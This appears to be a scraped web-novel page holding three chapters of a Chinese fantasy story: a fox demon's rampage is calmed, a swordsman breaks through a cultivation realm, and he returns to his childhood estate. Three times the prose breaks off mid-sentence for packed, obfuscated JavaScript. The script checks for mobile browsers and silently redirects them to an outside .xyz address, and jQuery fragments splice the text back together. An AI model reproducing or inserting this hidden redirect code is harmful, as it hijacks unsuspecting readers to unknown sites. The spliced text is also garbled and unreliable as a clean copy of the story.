l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996620|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像有一条巨龙在天地之间翻腾,大地裂开了无数条巨大的沟壑,万里无云的天空像是被人用刀划开了一道道口子,虚空从裂缝空隙之中露了出来,好似无数只睁开的眼睛,包罗着无尽的黑暗与未知。 花繁的身体忽然变得如小山一样大,魔气从地底升起,源源不断地涌入了九尾天狐的经脉之中。 “姐!”花蔺惊恐的声音响起,他站在花繁脚边,在九尾天狐面前,他的身躯是如此的渺小,力量是何其地微弱,他只能眼睁睁看着花繁的双眼逐渐染上猩红,而他的眼眶中也淌出了一行血泪。 花繁眼中的世界只剩下极致的红色,她看见那只丁点儿大的轮回蝉飞到了半山腰,飞进了那只可恶山雀支起的灵气罩里,卑鄙的人族站在锈剑上,灵气从他身上一层一层如涟漪般荡漾,引得锈剑产生了共鸣。 凭什么? 凭什么他们就能一生幸福美满,凭什么偏偏是她家破人亡? 凭什么给了她希望,又将美梦狠狠打破,她到底做错了什么?老天为何如此不公? 都怪他们,都是他们的错…… 杀了他们……杀了他们…… 心中有千千万万个声音在悲鸣,巨大的狐尾高高扬起,朝着众人重重落下,鸣珂和鸿同时张开了结界,狐尾重若高山,将结界一层一层击碎,岚孟使出了全力,发丝一寸寸变蓝,狐尾同最后一层结界撞在一起,如有千钧之力压在她的肩头,逼得她慢慢跪了下来。 柳逸直还在拔剑,鸣珂和鸿口吐鲜血,妖力早已消耗得一干二净,村民们三三两两抱在一起瑟瑟发抖。 然而花繁的攻击还未停,她的眼瞳一寸寸变红,就在血色即将覆盖整个眼瞳时,一声呼喊忽然传进了她的耳中,狐尾忽然停了下来。 “花繁,收手吧,不要一错再错!” 花繁心中忽然生出了一抹苦涩。 他们肯定很失望吧?她努力了这么多年,不仅没有为他们养好魂魄,就连呕心沥血重建的家园也毁于一旦了。 到头来,她什么都挽回不了。当年都没能救下他们,现在的她也又做得了什么呢?不过是竹篮打水一场空,让他们白欢喜一场。 然而花繁一低头,却撞入了一双温柔似水的眼睛,衔青微笑着,声音轻而缓,好似一片羽毛轻轻落在了心湖,泛起一阵阵涟漪。 “回来吧,花繁,回到我们身边来。” “回来吧!” “回来吧!” 越来越多的声音传入了花繁耳中,心湖中的涟漪越来越大,苦涩也越来越重。 “姐!回来吧!” 花繁朝声音的源头看去,只见花照泪流满面,身躯已经残破不堪,搀扶着她的花蔺满身都是血,看着她的眼神却也如其他人一般温柔似水,没有丝毫的怨怼。 “姐,我们回家吧。” “我们青丘,就只剩你我了……” 回家吧。 回到我们真正的故乡,那里没有战火,也没有喧嚣,我们可以尽情地奔跑,在英水河畔,采一些小花,编一个美丽的花环…… 花繁眼中的猩红一下子如潮水般褪去,魔气无枝可依,逐渐沉入了地底,花繁的身躯逐渐缩小,她从半空中掉了下来,掉进了青丘众狐的怀抱里。 大地还在震颤,天空中的虚空裂缝越来越多,岚孟依旧支着结界,然而她的额头已经沁出了一层冷汗,她看向巨剑之上的柳逸直,焦急道:“你到底行不行啊?” 随着她话音落下,伴随着“锵”的一声,像是从沉睡中终于苏醒一般,沉重的巨剑逐渐抬升,完全从山中脱离,一阵白光闪过,锈剑一寸寸变小,被柳逸直一把攥在了手心。 他抬起锈剑往空中一划,虚空中出现了一个巨大裂缝,透过裂缝可以看到欣欣向荣的景象,通往荒骨之地的通道已然开启。 村民们一个接一个跳进了裂缝之中,岚孟几人走在最后,他们的目光不约而同落在了狐魂们身上。 没有了村民肉身的蕴养,狐魂很快便会消散在这世间,不知是谁发出了第一声啼哭,渐渐的,哭泣声越来越大,越来越多,悲伤的情绪充盈了广阔的天地,苍天也好似被泪水濡湿,太阳躲进了云层里,天空淅淅沥沥地下起了雨。 狐妖们的魂魄逐渐溃散成点点星光,聚拢又分散,像是雨中绽放的生命之花。 岚孟从妖境里取出了一支玉笛,流畅婉柔的笛声在天地间回荡,同哭泣声交织在一起,汇成了一曲轻快的悲歌。 值秋雁兮飞日,当白露兮下时。 怨复怨兮远山曲,去复去兮长河湄。② 66. 乘云气 荒骨之地的某座山头,半空中忽然出现了巨大的裂缝,强大的气息惹得山中鸟兽纷纷逃窜,躲进隐蔽处瑟瑟发抖。一个人从裂缝里摔了出来,他抬头望了望完全陌生的山景,兴奋得跳了起来。 “我们出来了?哈哈哈我们得救了!” “啊啊啊!”惊呼声乍然响起,越来越多的人从裂缝里摔了出来,叠罗汉一样将第一个出来的人压在了身下。 “哈哈哈哈——”不知名的鸟儿振翅飞上了高空之中,独特的叫声在山林间回荡,像是对清风村村民无情的嘲笑。 鸿和鸣珂一前一后从裂缝中跳了出来,皆往“罗汉塔”顶端的村民身上踩了一脚,哎哟声此起彼伏,“罗汉塔”轰然倒塌,等柳逸直和岚孟从裂缝中出来时,见到的就是村民们一个个瘫在地上抱着肚子哀嚎的场景。 岚孟足尖点在村民中间的空地上跃了过去,回头一望,缝隙逐渐合拢,依稀还能望见废墟之上点点萤光渐渐化为虚无,最后只剩孤零零的两只狐狸。 岚孟收回了目光,将鲛云纱帷帽扣在了头顶。 或许,那也会是她的结局。 - 经过一个时辰的修整,鸿总算恢复了一点力气,他扭头看向远处团团围坐在树下的村民们,他们脸上洋溢着幸福的笑容,即使隔着很远,欢笑声也清晰地传入了他的耳中,他将头转了回来,臭着脸看向坐在自己不远处调息的三人,厉声质问道:“你们三个,为什么要帮那群狼心狗肺的凡人!” 天晓得他这十八年是怎么过来的!刘忠华那便宜儿子像是看犯人一样看着他,就差没用根铁链套住脖子将他拴在屋子里了,实乃奇耻大辱! 岚孟和柳逸直都没说话,鸣珂睁开一只眼睛乜他,理直气壮道:“收人钱财替人办事而已,您既然是旸谷光明磊落的轮回蝉,想必不会在背地里耍花招吧。” 鸿:“我看起来像那种睚眦必报的人吗?” 虽然他确实想过从这鬼地方出去以后就将那群不知天高地厚的凡人套上麻袋暴打一顿…… 鸣珂勾唇笑道:“看着是挺像的。” 鸿差点咬碎一口银牙,心想算了算了,他是长辈,是旸谷最丰神俊朗、通情达理的使者,不要和她一个毛都没长齐的小丫头片子计较。 他深呼一口气,不耻下问道:“不知道你们要如何处置他们?” 鸣珂歪头想了想,忽然灵光一闪,只觉得自己真是聪明伶俐,秀外慧中,她一拍手掌道:“反正那老狐狸也灰飞烟灭了,我们做了什么他又不知道,就将村民扔到人界让他们自生自灭好了,反正人族一向是有山有水有粮食就能开花结果,生一大堆娃娃出来。” 鸿嘴角微抽,心想你我不过是五十步笑百步罢了。 鸣珂为自己想了个好主意而沾沾自喜,她用胳膊肘捅了捅身侧的岚孟,高兴道:“你不是种子大户吗?分那些人一点麦子啊包谷啊菜籽啊,他们就能活了。” 岚孟汗颜道:“鸣珂,人和妖不一样,他们要想活下去,就得有不漏雨不透风的房子住,有农田可以耕作,肚子饿了有饭吃,生了病有钱看大夫,不是简简单单有作物的种子就能解决生计问题的。” 鸣珂拉下脸:“真麻烦。那岂不是还得给他们找好住址,盖好房子,开垦荒地,给他们农具来耕种,收获之前还得给他们买米买面,省得他们饿死?” 岚孟点头:“恐怕是这样。” 鸿脸上浮现一丝疑惑,纳闷道:“你们想得也太复杂了吧?直接给他们足够的钱,让他们自力更生不就好了?又不是必须得一大村子住在一起,让他们去城镇里租赁空房,自己找活计干不好吗?” 空气静默了一瞬,鸣珂豁然开朗:“对吼。” 岚孟皱起眉:“那得给他们多少钱?” 鸿用手抚着下巴做深思状,“怎么着一个人也得十两银子吧?” 岚孟仰起头点了点村民人数,一共七十八人,一个人十两银,七十八人就是七百八十两。她将怀中的芥子袋取了出来,伸手往里面掏了又掏,最后掏出了五十枚灵石。 鸣珂和鸿盯着这五十枚灵石看了又看,异口同声鄙夷道:“你怎么这么穷?” 岚孟尴尬地挠了挠头。原本她也是个有五万灵石巨款的有钱人,当时为了把贺舟晏送去东海,给了他两万灵石,到介城以后买酒赁屋,还花了不少钱买了制作引魂灯的材料,那五万灵石就不剩多少了,这五十个灵石还是她翻遍芥子袋每一个角落,从牙缝里抠出来的,否则还不一定有这么多呢。 她看向鸣珂:“瀛洲的少主应该不缺钱花吧?” 鸣珂虎躯一震,不动声色地别开眼睛,干巴巴笑了一声道:“哈哈,其实我私自偷跑出来,身上没有带多少金银,如今也花得七七八八了,而且我存在万象斋里的钱也被父王冻结了,哈哈,哈哈。” 接收到两人看过来的目光,鸿连忙摆手:“你们看我做什么?我都被当成老头子关了十八年了,身上哪还有钱?” 一句话说完,他忽然察觉到了不对劲,怒道:“不对!我可没说要帮那些凡人!就是算有钱,我也一个子儿都不会拿出来!” 鸣珂撇了撇嘴,“真是小气。”她往前探头,越过中间的岚孟朝边上一直默不作声的柳逸直看去,“柳师兄呢?不会也是穷光蛋吧?” 然而她却发现柳逸直双目紧闭,保持着盘腿而坐的调息状态,仿佛已经入定多时了。 鸣珂骇然道:“他咋了?” 岚孟将灵石整整齐齐摞了起来,没抬头道:“他要破境了。” 鸣珂大吃一惊:“啊?” 鸿毫不客气地嗤笑一声:“你可真弱,这都没发现,真是有负瀛洲羽族的威名。” “你!”鸣珂咬牙切齿地瞪着鸿,要不是方才的战斗耗尽了妖力,她岂会看不出来? 她调整表情,勾起唇,露出一个轻蔑的笑,“就你也好意思说我?也不知道是谁,堂堂旸谷轮回蝉,日神羲和的使者,身怀千年道行,却被几个狐狸耍得团团转,还被抽取了妖力,哈哈哈——” 鸿怒不可遏,张牙舞爪地朝鸣珂扑了过去,岚孟及时躲开,手指微动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005845|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用灵气将扭打在一起的两人推到了远处。 岚孟无奈地擦了擦额头不存在的汗,望向不远处入定良久的柳逸直,道:“你安心破境,我会在这里为你护法。” 柳逸直依旧一动不动,但却有一阵风吹来,轻轻扬起了岚孟的发丝。 小青丘秘境里的时间是停滞的,所以即便他们在秘境里耗费了一天时间,外界的时间也没有流逝,距离山河图关闭刚好也还剩一天。 鸿和鸣珂打了一会,觉得没甚意思,于是单方面停止了战斗,也没心思再折腾清风村村民了,说到底他们也是受到了花繁的利诱,算半个受害者,他堂堂旸谷轮回蝉,还不至于和几个凡人过不去。 于是鸿恢复了一些妖力之后便通过传送门离开了山河图。 鸣珂掏空了自己的腰包,又凑了五十个灵石,将一百灵石交给了村长刘忠华,村民们自然欢喜地感恩戴德。 于是她丢下一句“我去找言如期了”以后,便领着村民出了山河图,只留岚孟守着柳逸直破镜。 还有不少寻找机缘的修士在荒骨之地徘徊,每当靠近他们所在的山头时,岚孟便略施小计将他们引开了,保证方圆十里之内没有其他人。 时间一分一秒过去,日升月落,新的一天又开始了。岚孟百无聊赖地坐在距离柳逸直十丈远的大树上,她捂着嘴巴打了个哈欠,抬手用指尖拭掉了溢出眼角的泪水,心想怎么还没好啊,山河图都要关了。 一只雀鸟飞到了她的肩头,歪着脑袋叽叽喳喳叫个不停,岚孟抬手扯下树上的樱果,将其凑到了雀鸟的嘴边,小雀立即开心地啄食着樱果。 一片落叶从树上飘落,岚孟伸手去接,落叶飘飘悠悠,在即将触碰到她的手心之时,忽然调转方向朝前方飞去。岚孟抬眼看去,以那个端端正正盘腿而坐的人为中心,飓风席卷着落叶与花瓣,吹得她的裙摆猎猎作响。 四周的灵气都被风卷了过来,源源不断涌入飓风的中心。 岚孟肩头的雀鸟拼命收紧了爪子也没能阻止自己被风吹走,千钧一发之际,岚孟一把将它抓在手心,然后抬腿往后撤出了十里之外。 天地一下子暗了,天穹之上阴云密布,黑压压地直教人喘不过气来,荒骨之地中所有异兽都躲进了洞中,修士们则纷纷抬起了头,望着天空中遮天蔽日的劫云。 轰隆—— 一道惊雷径直朝某座山头劈下,强烈的闪光将天地照得亮如白昼,闪电的光柱之中好似有一人在起舞,雷鸣为他奏乐,长风作他的盔甲,浓郁的灵气化作一只只异兽伴他前行,他手中一柄铜剑,腹刻二十八宿,背记日月山川,一人一剑,直指苍穹。 剑气与雷劫相撞,九天之上的雷云被劈成了两半,轰然化作灵气之雨,滋养着这片生机盎然的大地。太阳重回人间,天光倾泻而下,躲在洞中瑟瑟发抖的异兽们纷纷走了出来,仰头望着劫云散去后一碧如洗的天空。 天穹之下,一个青衣身影傲然挺立。 飘然乘云气,俯首视世寰。① 蹉跎数年,柳逸直,已晋闻道。 67. 杳云居 二月初七,春光作序,万物和鸣。 卧泉城位于逐州中部,其西北边有一座连绵起伏的巨大山脉,名为栖凰,山中长满了梧桐树,是传说中凤凰飞行途中停留休憩之所,故名栖凰。山中涌出一股甘甜肥美的泉水,称桐泉,泉水滚滚向东奔行数里便隐入了地下,直到来到栖凰山脉的东部才又重见天日,形成千顷之广的巨大湖泊,卧泉城便是建在栖凰山脉的怀抱之中,全城百姓都酣眠于地下泉水之上,故称卧泉。 虽然修行之人惯常以上古时期的说法“九州”来称呼这个世界,只不过朝来暮去,光阴荏苒,对于凡人而言,原本的九州境地早已四分五裂成了大大小小的诸侯国,而卧泉,正是楚国的王都。 在卧泉城的东边,栖凰山脉南侧的山脚下,有一座清幽雅致、久无人居的别院,叫杳云居,属于楚国最负盛名的酒庄——“忆陈酒庄”早逝的大小姐柳如因,也就是柳逸直的母亲。 柳家世代以酿酒为生,到柳逸直的外祖父那一代,家业蒸蒸日上,楚国无人不知忆陈酒庄的招牌“泊溪酒”,柳如因便是在这个时候降生的,集万千宠爱在一身,无数媒人携着男方的礼物踏破了柳家的门槛,也没能讨得了她的欢心。 彼时易骞不过是个穷小子,自己一个人摸爬滚打着长大,虽然靠着易氏祖辈相传的功法和卓绝的天赋成功引气入体,可是对修仙实在是没甚兴趣,便在镖局谋了个送镖的差事,机缘巧合之下救了外出访亲的柳如因一命。 如果你以为这只是个俗套的英雄救美的故事,那么恭喜你,猜错了。 当易骞跟随报信的家仆找到被山匪劫持的柳如因时,看到的是一个个膀大腰圆的山匪被麻绳五花大绑,而素来有端庄贤良之美名的柳大小姐正拿着绣花鞋挨个抽着他们的嘴巴子,易骞目瞪口呆,柳如因惊慌失措。两人面面相觑之际,一颗鸟蛋从高处坠落,眼见着就要正正砸到柳如因的头顶,千钧一发之际,易骞一把揽过柳如因纤细的腰肢,鸟蛋“啪叽”一声摔在了他的肩头,柳如因得以逃过了“鸟蛋砸头”的劫难,保全了一身华丽衫裙的清清白白。 仅此而已。 易骞此人虽然一穷二白,却也有几分姿色和胆识,年轻有为又洁身自好,就连总镖头都想把自家年仅五岁的闺女许配给他,不过被易骞以年龄不合而婉拒了。 后来忆陈酒庄接了几个大单子,要将美酒送往千里之外的姜国,柳如因负责这个差事,柳老爷爱女心切,生怕女儿在异国他乡受到危险,便请镖局送镖,柳如因和易骞再一次有了交集,一来二去两人就好上了。 千金小姐和穷小子的戏码早就烂大街了,柳老爷自然不同意这门亲事,曾放话要是柳如因执意要嫁给这个身无长物的穷小子,他就和她断绝父女关系,权当没生过这个女儿,也不会让她带走一分钱。 这事闹得沸沸扬扬,整个卧泉城的百姓都关注着这对苦命鸳鸯,议论着是“酒庄大小姐放弃万千家资和穷小子私奔”还是“他痛失所爱,被柳老爷扫地出门”。 但柳如因和易骞早已许下海枯石烂的誓言,怎会被这小小的、还不如米粒大的挫折而拆散?于是易骞便把自己洗得干干净净,拎着包袱嫁进了柳家,成了忆陈酒庄的上门女婿。 如此皆大欢喜,实在是可喜可贺! 没过多久柳府便传出了喜讯,为了让妻子安心养胎,易骞便亲自设计并建造了杳云居,十个月过后,在这个遍地是保护法阵的别院里迎来了孩子的降生,捧在手心里怕摔了,含在嘴巴里怕化了,在父母的细心呵护下,柳逸直健健康康、平平安安长到了六岁。 只可惜好事总是不会长久,即便易骞从未主动暴露过自己是易氏后人的身份,灾难还是悄无声息地降临,一家三口被捉到了青丘,只年幼的柳逸直逃过一劫。 乐则同乐,忧则同忧,生同衾,死同穴,易骞和柳如因也算是不负当初的诺言。 后来柳逸直被玉成汝带回了山到源,正式踏入了修行大道,便不常回柳家了,杳云居也闲置了下来。 如今山河图轰然关闭,所有外来者都被排斥了出来,随机传送到了九州大地的各个玄牝之门外,他和岚孟正巧被传送到了入口之一的栖凰山脉里。 他刚刚破境,亟需稳固修为,而岚孟浑身是伤,也需要灵气充裕的清幽之地疗伤,所以他便将岚孟带到了杳云居之中。 推开尘封了五六年的院门,一股陈旧荒凉的气息扑面而来。庭院中荒草萋萋,石板缝隙里长满了杂草与灌木,历经了百年难遇的雪灾之后,草木皆已枯萎凋零,只剩墙角处一株高大的柳树还挺立在料峭春风之中,而枝头已冒出了些许嫩绿的新芽。 柳逸直将院门完全推开,朝身后之人笑道:“请进。” 岚孟道了一句“打扰了”才走了进来。 杳云居依山而建,亭台楼阁错落有致,移步换景,可见设计者技艺之高超、心思之精妙。暮色浸染山脊,檐角的铜铃撞碎了呼啸而来的春风,青瓦铺就的九曲回廊在四季常青的竹林间若隐若现,春风吹扫着被霜雪打落的竹叶,一只竹制蹴鞠从角落里滚了出来,似乎是在迎接远游归来的主人。 再往上走,有流水潺潺声传入耳中,穿过一道苔痕斑驳的月洞门,太湖石堆砌的假山便显露在了眼前,流水从太湖石身上攀爬而下,裂罅间几只蜘蛛在勤恳地织网。沿着青石板路绕过假山,一座二层小楼映入眼帘。 高处的飞檐上蹲着一排脊兽,“骑凤仙人”下面挂着一串缺了舌的青铜风铎,任凭风吹雨打,却发不出一点声音。见岚孟目不转睛地盯着风铎看,柳逸直解释道:“少时我被这风铎吵得睡不着觉,娘亲便让人将铎舌拔了,一直没重新装上。” 岚孟点了点头,背着手追上了他的脚步。 “也就是说,这里是你小时候的闺房咯?” 柳逸直正拿钥匙开锁,听到这话顿时忍俊不禁,“闺房什么的……怎么说就算年纪再小,我也是个男子汉吧?” 岚孟不可置否地挑了挑眉。 略微生锈的铁锁“吱嘎”一声开了,两人前后脚走进了房中。浅金色的夕阳余晖透过雕花窗棂洒在地板上,织出花鸟纹样的暗影,临窗放置着一张湘妃竹榻,上面整整齐齐叠放着一床被褥,柳逸直走过去将花窗支了起来,远处的卧泉城房屋鳞次栉比,夕阳让黛瓦飞檐披上了一抹金色,护城河也化作蜿蜒的鎏金缎带,浅青色烟罗纱帐被穿堂风掀起又轻轻落下。 柳逸直摸了摸榻边的矮几,没发现有灰尘的痕迹,看来当年在这里设下阵法是个明智的选择,他道:“你先住在这里吧,楼上楼下都可以随意使用,若是有什么缺的,你再和我说。” 岚孟问道:“我住这里,那你住哪?” 柳逸直指了指下方的宅院,笑道:“空屋子多得是,打扫一下就可以了,不必担心。” 既然他都安排好了,岚孟也就客随主便了。等柳逸直走后,岚孟便在这间小楼里转了转。不得不说柳家确实财大气粗,博古架上陈列的都是珍贵的器具,纱帐也由绫罗绸缎制成,一楼深处还有一池温泉,冒着氤氲热气。二楼宽大的床榻四周都悬挂着藕荷色的软烟罗帐子,窗边还有一个精致的梳妆台,铜镜里映出窗外逐渐落下山头的夕阳。 这布置着实不像是男孩子的房间啊,岚孟腹诽道。莫非柳逸直小时候是被当作女孩来养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017275|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?又或者他有所隐瞒,这根本不是他母亲为他布置的居所,而是他用来金屋藏娇的阁楼? 岚孟一脸怀疑地拉开了梳妆台的抽屉,里面空无一物,并没有她想象中的女子用品。 她在床上坐下,手掌摩挲着被褥上以银线绣着的缠枝纹样,抬眼四处打量,发现这里的布置虽然像是女孩子的闺房,但却毫无生活气息,东西少而精,陈列得规规整整,仿佛从未有人踏足一般。 若易骞夫妇健在,柳逸直恐怕不会踏入修行一途,只会是个有钱人家无忧无虑的大少爷,自小锦衣玉食,在父母亲朋的呵护下长大,到了年纪就和一个门当户对、两情相悦的姑娘拜堂成亲,和和美美度过一生吧。 只可惜,逝者已逝,往日不可追。 岚孟在床上躺了一会,便起身下了楼,褪去带血的衣物,将自己泡进了温泉池中。肩背上撕裂的伤口沾了水以后传来隐隐刺疼,她扭头看去,果然见伤口边缘处有些红肿,于是从芥子袋里摸出一瓶丹药,取出药丸来碾碎后将其洒在了伤口上。 氤氲热气让眼前一片雾蒙蒙的,岚孟的思绪逐渐发散,她想起了那团附身在宣措身上的魔气。两者因何事而勾结在一起尚未可知,但可以确认的一点是,后期他们肯定谈崩了,宣措自食恶果,被那团有自我意识的魔气控制了心智,最后才导致青丘惨案的发生。 也不知道那团魔气究竟是何方神圣,炼化青丘狐妖的目的何在?当初尧玦解决掉它没有?若是没有,那它现如今身在何处?是不是还在计划着什么阴谋…… 岚孟懊恼地用手捶了捶头,忽然后悔是不是不应该阻止花照,这样事情的真相或许就能浮出水面了,虽然这样对柳逸直那家伙不太厚道。 唉。 她深深叹了口气。 同一时间,正在积满灰尘的书库里找书的柳逸直蓦地打了个喷嚏,他揉了揉鼻子,打了个响指,轻微的风从地板旋转着上升,卷起浮灰将其送到了窗外。 他记得娘亲十分仰慕重明尧玦,收集了不少关于尧玦的话本子来着,那书到底放哪了……余光瞥见角落里有一个方方正正的木箱,柳逸直一弹指,木箱的盖子便飞了起来,里面赫然是他苦苦找寻良久的尧玦话本。 他盘腿在地板上坐下,一本一本翻看着。里面写的大多数都是些尧玦斩妖除魔的丰功伟绩,他都滚瓜烂熟了,其间混杂着不少似是而非的风流韵事,什么尧玦夜会某国公主啦,美貌大妖为了尧玦大打出手啦,甚至还有尧玦从未接受过任何女子的心意,其实是因为他有龙阳之好这等无稽之谈。 柳逸直满头黑线,但还是一脸菜色地浏览了七八本话本,最后在一被本翻得卷边了的书册上找到了他想要的信息: “尧玦,重明也,一目双睛,生性温良,喜近飞禽,时有一蓝羽山雀伴其身侧,未知其真身及名姓,偶听尧玦以“孟”字唤之,或与尧玦一脉同气……” 后面的书页被水晕染了一大块,字迹早已模糊不清,柳逸直对着光看了半天也看不出来到底写了什么。 他无奈地放下了书册。 现在能确定的是,闫扶音,哦不,岚孟,很久之前就跟在尧玦身边了。从前她尚未化成人形,妖力低微,所以声名不显,在尧玦这等风采卓绝之人身边,被掩盖了锋芒,为人所忽略也不足为奇,所以他才没能打听到她的真实身份,也或许是因为尧玦有意遮掩她的存在。 不论如何,他总算是对此人有了些许了解。 柳逸直走到窗边,仰头望着高处的二层小楼,没有铎舌的青铜风铎在夜风的吹拂下微微晃动,无声诉说着寂寞。 她心里究竟在想着什么呢? 68. 柳家人 柳逸直感觉自己身处于一片火海之中,举目四望,漫山遍野尽是赤红的火焰,他想挣扎,手脚却像是灌注了铅一般沉重,他想呼救,嗓子却发不出一丁点儿的声音。 这时,四周的火光猛地高涨,变成一只火红的大鸟,在他的头顶盘旋了几圈,最后轻轻落地,化作一个似曾相识的模糊人影,他身材高大挺拔,唇边带着春风般温暖的笑容,他伸手在自己头顶揉了一把,叹息般轻缓的声音在耳畔回响。 拜托你了…… 柳逸直猛地睁开了眼睛,明媚的阳光透过窗棂打在了他的脸上。 思绪渐渐回巢,他才想起来自己此刻正躺在家中。 梦中之人到底是谁? 距离从山河图中出来,已经过去了半个月,这期间他稳固了修为,甚至运气好的晋升到了闻道境中期,只不过每每夜梦之时,总会梦见同一个场景,同一个人,同一句话,如今已经是第四次了。 他拉开被子走下床,来到了窗边,抬头望去,高处的两层小楼安安静静屹立在那里,山上的梧桐树已经长出了许多嫩绿新芽,一派生机勃勃的景象。 这两日他锄掉了庭院和房顶的杂草,修理了破损的瓦片和墙垣,将杳云居里里外外都打扫了一遍,而住在阁楼里的姑娘却毫无动静,从未踏出过房门一步。 ……不会是偷偷跑了吧? 柳逸直穿好衣服,踏着青石板路蹑手蹑脚地靠近了阁楼,刚走进方圆三丈的范围之内,他便感受到了一阵熟悉的强大气息在阻止他靠近,柳逸直顿时将腿缩了回来。 唇边浮上一抹笑意,他脚步轻快地负手离开了。 同山中只有零零星星的春意有所不同,春神的脚步早已踏入了卧泉城,经历了长达数月的霜雪欺压,今年的花开得格外茂盛,桃李芳菲,莺歌燕舞,温暖的阳光披散在身上,人们的脸上洋溢着幸福的笑容。 柳逸直穿着一身低调的灰衣,走进了位于卧泉城东的早市,虽然来得稍微有点迟了,可巷子里还有不少小摊小贩在吆喝叫卖,他打算将杳云居里的花圃翻新一下,所以想来买些花秧和树苗。 路过一个卖包子的小摊,阵阵香气传入鼻中,柳逸直忽觉腹中空空,说起来他已经半个多月都没有吃东西了,虽然对于修行之人来说,食物并不是必需品,但旷了许久以后再见到食物,心中就会升起一股难以言喻的渴望,简而言之,就是馋。 “老板,包子什么馅的?” “肉馅菜馅白糖芝麻馅!什么都有!”小贩热情道。 “那来两个肉馅的吧。”柳逸直道。 “好嘞!客官您稍等,下一屉马上就好!” 路上行人熙熙攘攘,柳逸直站在小摊侧边等包子,这时,一只黑棕色的大狗摇着尾巴走到了他脚边,毛绒绒的尾巴欢快地拍打着他的大腿。 是只壮实的苍猊犬,浑身毛发又密又厚,几乎有半人高,瞧着威风凛凛,使人望而生畏,路过的行人看了一眼就收回了目光,脚步匆匆地离开了。 也不知道自己怎的招了它的喜欢,柳逸直低头瞥了它一眼,大狗冲他汪了一声,尾巴摇得更欢了,毛绒绒的尾巴拍在腿上痒痒的。 从小贩手里接过油纸包,刚出炉的肉包子热得烫手,香气扑面而来,柳逸直提步往前走,发现那狗屁颠屁颠地追了上来,双眼紧紧盯着他手里的油纸包,哈喇子一股一股往下流。 柳逸直忍俊不禁,掰了半个包子朝它抛去,大狗虽然看着身形笨重,动作却挺灵活,四腿一蹬就跳了起来,一把将肉包叼在了嘴里,三两下就将肉包子吃完了。 这时柳逸直已经拐进了一旁偏僻的巷子里,一扭头却发现那苍猊犬又闻着味追了上来,伸出舌头舔着嘴巴,似乎意犹未尽,柳逸直只好再把剩下半块包子扔给它,并出言警告道:“吃完了就回家去吧,别再跟着我了。” 一看它这油光水滑的样子就知道它是家养的,流浪狗朝不保夕、食不果腹,不可能胖得跟猪一样。 大狗吧唧吧唧吃完了包子,依旧亦步亦趋跟了上来,就在柳逸直打算施展仙术在狗狗面前表演个“大变活人”的时候,身后忽然飞来一根木棍,同时伴随着中气十足的一声怒骂:“看我不打死你这个偷狗贼!” 柳逸直只抬了抬手,那根木棍便在空中顿了顿,紧接着调转方向飞了回去,有道是“从哪里来就回哪里去”,木棍径直飞向抛出它的人,横斜着扎进了墙上,离那人的脖颈仅相隔一寸的距离。 柳逸直扭头朝偷袭之人冷冷瞥了一眼,正想教训这个不知天高地厚的人一番,然而眼底的坚冰在见到那人的面容时蘧然消散,他面露惊讶:“承平?你怎么在这?” 承平一听这声音怎么这么耳熟,立即抬眼朝那偷狗贼看去,他瞪大了眼睛:“三少爷?您回来了!” 柳逸直连忙大步走过来,一把将木棍拔了下来,还伸手托了吓得腿软站不住的承平一把,问道:“你不在老宅,怎么来到城东了?” 承平是他大哥柳问的随从,柳家兄弟和睦,并未分家,按理来说承平应该在位于城西的老宅当差,不会来城东来着。 承平连忙自己站稳,笑道:“大少爷调到刑部任职了,在这附近买了宅子,上下衙方便,小的自然也跟着过来了,少奶奶和小姐探望亲家老太太去了,大少爷便吩咐小的带狗出来溜溜弯,消消食。” 狗?柳逸直低头看向亲亲热热靠在自己腿边的苍猊犬,脸上浮起一抹古怪,“你的意思是,这是小咪咪?” 承平理所当然道:“是呀!您上次见它还是六年前大少爷娶少奶奶的时候,那会小咪咪才几个月大,现在都六岁多了,您认不出来也正常。” 柳逸直嘴角微抽,他确实没认出来,毕竟阔别六年,小咪咪也从还没人手臂长的小小狗变成了半人高的大肥猪。 见柳逸直认出了自己,小咪咪高兴得“汪”了好几声,将承平一把挤开,庞大的身体围着柳逸直转,尾巴摇得很是欢快。 柳逸直抬了抬手,小咪咪立即跳起来用头顶了顶他的掌心,吐着舌头求夸赞,柳逸直笑着揉它的头,毫不吝啬地夸了几句“好狗”。 就在柳逸直想要将手里仅剩的肉包子喂给小咪咪时,承平连忙制止了他,老实道:“小咪咪吃得太胖了,少爷不让给他喂太多吃食的。” 柳逸直看了一眼身前的大肥猪,心想也对,它都胖成个球了,吃多了对身体不好,于是他将包子收了起来,小咪咪高高竖起的尾巴立即耷拉了下去,嘤嘤哼了两声,似乎在表达着不满。 两人一狗往巷子外走,承平这才问道:“三少爷什么时候回来的?怎么招呼也不打一声?现在是住在杳云居吗?” 柳逸直道:“半月前就回来了,正准备过两天买点礼物再去拜访舅父呢。” 承平笑道:“您是回自己家,又不是外人,还带啥礼物啊,小的这就回去禀告老爷和夫人,他们肯定很高兴。”承平兴致勃勃地牵着一步三回头的小咪咪回去了。 